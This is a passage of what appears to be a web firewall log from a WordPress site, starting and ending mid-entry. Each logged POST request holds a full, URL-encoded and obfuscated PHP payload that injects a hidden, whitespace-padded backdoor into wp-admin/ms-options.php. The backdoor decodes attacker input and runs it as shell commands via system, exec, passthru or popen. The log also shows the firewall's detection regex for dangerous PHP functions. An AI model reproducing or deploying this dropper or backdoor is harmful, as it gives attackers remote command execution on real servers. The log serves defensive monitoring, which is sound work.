ailed%21%27%29%3B%20"]
["2026-05-12 09:45:54","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:5303\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nOH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:57","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:5326\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:46:00","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:5303\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\ncV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255C